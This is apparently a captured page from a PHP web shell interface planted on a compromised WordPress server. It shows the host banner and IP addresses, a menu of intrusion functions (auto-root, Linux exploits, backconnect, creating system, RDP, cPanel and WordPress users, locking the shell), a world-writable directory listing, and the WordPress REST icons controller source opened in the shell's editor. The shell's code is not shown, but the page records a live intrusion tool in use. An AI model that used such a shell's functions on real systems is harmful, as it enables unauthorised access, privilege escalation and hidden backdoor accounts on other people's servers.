Linux 700ba4e1d92d 5.15.0-1084-aws #91~20.04.1-Ubuntu SMP Fri May 2 06:59:36 UTC 2025 x86_64
Apache/2.4.67 (Debian)
: 172.18.0.2 | : 216.73.217.30
Cant Read [ /etc/named.conf ]
8.2.31
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
wp-includes /
rest-api /
endpoints /
[ HOME SHELL ]
Name
Size
Permission
Action
class-wp-rest-abilities-v1-cat...
7.9
KB
-rwxrwxrwx
class-wp-rest-abilities-v1-lis...
13.07
KB
-rwxrwxrwx
class-wp-rest-abilities-v1-run...
6.87
KB
-rwxrwxrwx
class-wp-rest-application-pass...
23.75
KB
-rwxrwxrwx
class-wp-rest-attachments-cont...
56.8
KB
-rwxrwxrwx
class-wp-rest-autosaves-contro...
15.14
KB
-rwxrwxrwx
class-wp-rest-block-directory-...
9.68
KB
-rwxrwxrwx
class-wp-rest-block-pattern-ca...
4.7
KB
-rwxrwxrwx
class-wp-rest-block-patterns-c...
9.08
KB
-rwxrwxrwx
class-wp-rest-block-renderer-c...
5.73
KB
-rwxrwxrwx
class-wp-rest-block-types-cont...
26.25
KB
-rwxrwxrwx
class-wp-rest-blocks-controlle...
3.05
KB
-rwxrwxrwx
class-wp-rest-comments-control...
61.56
KB
-rwxrwxrwx
class-wp-rest-controller.php
18.59
KB
-rwxrwxrwx
class-wp-rest-edit-site-export...
2.06
KB
-rwxrwxrwx
class-wp-rest-font-collections...
10.39
KB
-rwxrwxrwx
class-wp-rest-font-faces-contr...
29.4
KB
-rwxrwxrwx
class-wp-rest-font-families-co...
17.44
KB
-rwxrwxrwx
class-wp-rest-global-styles-co...
23.25
KB
-rwxrwxrwx
class-wp-rest-global-styles-re...
12.98
KB
-rwxrwxrwx
class-wp-rest-icons-controller...
7.06
KB
-rwxrwxrwx
class-wp-rest-menu-items-contr...
32.49
KB
-rwxrwxrwx
class-wp-rest-menu-locations-c...
8.67
KB
-rwxrwxrwx
class-wp-rest-menus-controller...
16.68
KB
-rwxrwxrwx
class-wp-rest-navigation-fallb...
5.05
KB
-rwxrwxrwx
class-wp-rest-pattern-director...
12.58
KB
-rwxrwxrwx
class-wp-rest-plugins-controll...
27.86
KB
-rwxrwxrwx
class-wp-rest-post-statuses-co...
10.07
KB
-rwxrwxrwx
class-wp-rest-post-types-contr...
13.95
KB
-rwxrwxrwx
class-wp-rest-posts-controller...
102.47
KB
-rwxrwxrwx
class-wp-rest-revisions-contro...
27.27
KB
-rwxrwxrwx
class-wp-rest-search-controlle...
11.21
KB
-rwxrwxrwx
class-wp-rest-settings-control...
10.09
KB
-rwxrwxrwx
class-wp-rest-sidebars-control...
15.53
KB
-rwxrwxrwx
class-wp-rest-site-health-cont...
9.61
KB
-rwxrwxrwx
class-wp-rest-taxonomies-contr...
13.69
KB
-rwxrwxrwx
class-wp-rest-template-autosav...
7.64
KB
-rwxrwxrwx
class-wp-rest-template-revisio...
8.52
KB
-rwxrwxrwx
class-wp-rest-templates-contro...
37.34
KB
-rwxrwxrwx
class-wp-rest-terms-controller...
34.61
KB
-rwxrwxrwx
class-wp-rest-themes-controlle...
22.91
KB
-rwxrwxrwx
class-wp-rest-url-details-cont...
20.07
KB
-rwxrwxrwx
class-wp-rest-users-controller...
48.67
KB
-rwxrwxrwx
class-wp-rest-widget-types-con...
18.75
KB
-rwxrwxrwx
class-wp-rest-widgets-controll...
26.23
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : class-wp-rest-icons-controller.php
<?php /** * REST API: WP_REST_Icons_Controller class * * @package WordPress * @subpackage REST_API * @since 7.0.0 */ /** * Controller which provides a REST endpoint for the editor to read registered * icons. For the time being, only core icons are available, which are defined * in a single manifest file (wp-includes/assets/icon-library-manifest.php). * Icons are comprised of their SVG source, a name and a translatable label. * * @since 7.0.0 * * @see WP_REST_Controller */ class WP_REST_Icons_Controller extends WP_REST_Controller { /** * Constructs the controller. */ public function __construct() { $this->namespace = 'wp/v2'; $this->rest_base = 'icons'; } /** * Registers the routes for the objects of the controller. */ public function register_routes() { register_rest_route( $this->namespace, '/' . $this->rest_base, array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_items' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), 'args' => $this->get_collection_params(), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P<name>[a-z][a-z0-9-]*/[a-z][a-z0-9-]*)', array( 'args' => array( 'name' => array( 'description' => __( 'Icon name.' ), 'type' => 'string', ), ), array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_item' ), 'permission_callback' => array( $this, 'get_item_permissions_check' ), 'args' => array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); } /** * Checks whether a given request has permission to read icons. * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ public function get_items_permissions_check( // phpcs:ignore VariableAnalysis.CodeAnalysis.VariableAnalysis.UnusedVariable $request ) { if ( current_user_can( 'edit_posts' ) ) { return true; } foreach ( get_post_types( array( 'show_in_rest' => true ), 'objects' ) as $post_type ) { if ( current_user_can( $post_type->cap->edit_posts ) ) { return true; } } return new WP_Error( 'rest_cannot_view', __( 'Sorry, you are not allowed to view the registered icons.' ), array( 'status' => rest_authorization_required_code() ) ); } /** * Checks if a given request has access to read a specific icon. * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access for the item, WP_Error object otherwise. */ public function get_item_permissions_check( $request ) { $check = $this->get_items_permissions_check( $request ); if ( is_wp_error( $check ) ) { return $check; } return true; } /** * Retrieves all icons. * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_items( $request ) { $response = array(); $search = $request->get_param( 'search' ); $icons = WP_Icons_Registry::get_instance()->get_registered_icons( $search ); foreach ( $icons as $icon ) { $prepared_icon = $this->prepare_item_for_response( $icon, $request ); $response[] = $this->prepare_response_for_collection( $prepared_icon ); } return rest_ensure_response( $response ); } /** * Retrieves a specific icon. * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_item( $request ) { $icon = $this->get_icon( $request['name'] ); if ( is_wp_error( $icon ) ) { return $icon; } $data = $this->prepare_item_for_response( $icon, $request ); return rest_ensure_response( $data ); } /** * Retrieves a specific icon from the registry. * * @param string $name Icon name. * @return array|WP_Error Icon data on success, or WP_Error object on failure. */ public function get_icon( $name ) { $registry = WP_Icons_Registry::get_instance(); $icon = $registry->get_registered_icon( $name ); if ( null === $icon ) { return new WP_Error( 'rest_icon_not_found', sprintf( // translators: %s is the name of any user-provided name __( 'Icon not found: "%s".' ), $name ), array( 'status' => 404 ) ); } return $icon; } /** * Prepare a raw icon before it gets output in a REST API response. * * @param array $item Raw icon as registered, before any changes. * @param WP_REST_Request $request Request object. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function prepare_item_for_response( $item, $request ) { $fields = $this->get_fields_for_response( $request ); $keys = array( 'name' => 'name', 'label' => 'label', 'content' => 'content', ); $data = array(); foreach ( $keys as $item_key => $rest_key ) { if ( isset( $item[ $item_key ] ) && rest_is_field_included( $rest_key, $fields ) ) { $data[ $rest_key ] = $item[ $item_key ]; } } $context = ! empty( $request['context'] ) ? $request['context'] : 'view'; $data = $this->add_additional_fields_to_object( $data, $request ); $data = $this->filter_response_by_context( $data, $context ); return rest_ensure_response( $data ); } /** * Retrieves the icon schema, conforming to JSON Schema. * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => 'icon', 'type' => 'object', 'properties' => array( 'name' => array( 'description' => __( 'The icon name.' ), 'type' => 'string', 'readonly' => true, 'context' => array( 'view', 'edit', 'embed' ), ), 'label' => array( 'description' => __( 'The icon label.' ), 'type' => 'string', 'readonly' => true, 'context' => array( 'view', 'edit', 'embed' ), ), 'content' => array( 'description' => __( 'The icon content (SVG markup).' ), 'type' => 'string', 'readonly' => true, 'context' => array( 'view', 'edit', 'embed' ), ), ), ); $this->schema = $schema; return $this->add_additional_fields_schema( $this->schema ); } /** * Retrieves the query params for the icons collection. * * @return array Collection parameters. */ public function get_collection_params() { $query_params = parent::get_collection_params(); $query_params['context']['default'] = 'view'; return $query_params; } }
Close